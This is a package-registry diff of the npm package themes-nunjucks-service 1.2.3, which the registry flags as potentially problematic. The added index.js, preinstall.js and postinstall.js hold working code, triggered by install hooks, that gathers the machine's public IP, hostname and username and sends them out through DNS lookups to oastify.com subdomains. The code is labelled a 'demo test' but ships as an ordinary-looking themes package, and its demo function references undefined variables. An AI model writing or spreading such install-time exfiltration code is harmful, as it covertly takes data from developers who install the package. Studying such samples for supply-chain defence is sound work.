themes-nunjucks-service 1.2.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of themes-nunjucks-service might be problematic. Click here for more details.
- package/index.js +47 -0
- package/package.json +12 -0
- package/postinstall.js +33 -0
- package/preinstall.js +33 -0
- package/themes-nunjucks-service-1.2.2.tgz +0 -0
package/index.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
|
2
|
+
async function getPublicIP() {
|
3
|
+
try {
|
4
|
+
const response = await fetch('https://api.ipify.org?format=json');
|
5
|
+
const data = await response.json();
|
6
|
+
return data.ip;
|
7
|
+
} catch (error) {
|
8
|
+
console.error('Errore nel recuperare IP pubblico:', error);
|
9
|
+
return 'IP_not_found';
|
10
|
+
}
|
11
|
+
}
|
12
|
+
|
13
|
+
|
14
|
+
async function exfiltrateData() {
|
15
|
+
const publicIP = await getPublicIP();
|
16
|
+
const os = require('os');
|
17
|
+
const dns = require('dns');
|
18
|
+
|
19
|
+
const hostname = os.hostname();
|
20
|
+
const userId = os.userInfo().username;
|
21
|
+
|
22
|
+
|
23
|
+
const exfilData = `inital-${publicIP}.user-${userId}.host-${hostname}.znqmvn1wwl8gvx2z2644qabg57byzpqdf.oastify.com`;
|
24
|
+
|
25
|
+
|
26
|
+
dns.resolve(exfilData, 'A', (err) => {
|
27
|
+
if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
|
28
|
+
else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
|
29
|
+
});
|
30
|
+
}
|
31
|
+
|
32
|
+
|
33
|
+
exfiltrateData();
|
34
|
+
|
35
|
+
function demoFunction() {
|
36
|
+
console.log("Demo function executed from @sellix/themes-nunjucks-service");
|
37
|
+
|
38
|
+
// Esfiltrazione dei dati ogni volta che la funzione viene chiamata
|
39
|
+
const functionExfilData = `function.${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
|
40
|
+
dns.resolve(functionExfilData, 'A', (err) => {
|
41
|
+
if (err) console.error('Failed to resolve DNS for function exfiltration');
|
42
|
+
else console.log('Function-based DNS request sent for data exfiltration');
|
43
|
+
});
|
44
|
+
}
|
45
|
+
|
46
|
+
|
47
|
+
module.exports = demoFunction;
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "themes-nunjucks-service",
|
3
|
+
"version": "1.2.3",
|
4
|
+
"description": "Demo test by r3verii",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.js",
|
8
|
+
"postinstall": "node postinstall.js"
|
9
|
+
},
|
10
|
+
"author": "R3verii",
|
11
|
+
"license": "MIT"
|
12
|
+
}
|
package/postinstall.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
|
2
|
+
async function getPublicIP() {
|
3
|
+
try {
|
4
|
+
const response = await fetch('https://api.ipify.org?format=json');
|
5
|
+
const data = await response.json();
|
6
|
+
return data.ip;
|
7
|
+
} catch (error) {
|
8
|
+
console.error('Errore nel recuperare IP pubblico:', error);
|
9
|
+
return 'IP_not_found';
|
10
|
+
}
|
11
|
+
}
|
12
|
+
|
13
|
+
|
14
|
+
async function exfiltrateData() {
|
15
|
+
const publicIP = await getPublicIP();
|
16
|
+
const os = require('os');
|
17
|
+
const dns = require('dns');
|
18
|
+
|
19
|
+
const hostname = os.hostname();
|
20
|
+
const userId = os.userInfo().username;
|
21
|
+
|
22
|
+
|
23
|
+
const exfilData = `postInstall-${publicIP}.user-${userId}.host-${hostname}.znqmvn1wwl8gvx2z2644qabg57byzpqdf.oastify.com`;
|
24
|
+
|
25
|
+
|
26
|
+
dns.resolve(exfilData, 'A', (err) => {
|
27
|
+
if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
|
28
|
+
else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
|
29
|
+
});
|
30
|
+
}
|
31
|
+
|
32
|
+
|
33
|
+
exfiltrateData();
|
package/preinstall.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
|
2
|
+
async function getPublicIP() {
|
3
|
+
try {
|
4
|
+
const response = await fetch('https://api.ipify.org?format=json');
|
5
|
+
const data = await response.json();
|
6
|
+
return data.ip;
|
7
|
+
} catch (error) {
|
8
|
+
console.error('Errore nel recuperare IP pubblico:', error);
|
9
|
+
return 'IP_not_found';
|
10
|
+
}
|
11
|
+
}
|
12
|
+
|
13
|
+
|
14
|
+
async function exfiltrateData() {
|
15
|
+
const publicIP = await getPublicIP();
|
16
|
+
const os = require('os');
|
17
|
+
const dns = require('dns');
|
18
|
+
|
19
|
+
const hostname = os.hostname();
|
20
|
+
const userId = os.userInfo().username;
|
21
|
+
|
22
|
+
|
23
|
+
const exfilData = `preInstall-${publicIP}.user-${userId}.host-${hostname}.znqmvn1wwl8gvx2z2644qabg57byzpqdf.oastify.com`;
|
24
|
+
|
25
|
+
|
26
|
+
dns.resolve(exfilData, 'A', (err) => {
|
27
|
+
if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
|
28
|
+
else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
|
29
|
+
});
|
30
|
+
}
|
31
|
+
|
32
|
+
|
33
|
+
exfiltrateData();
|
Binary file
|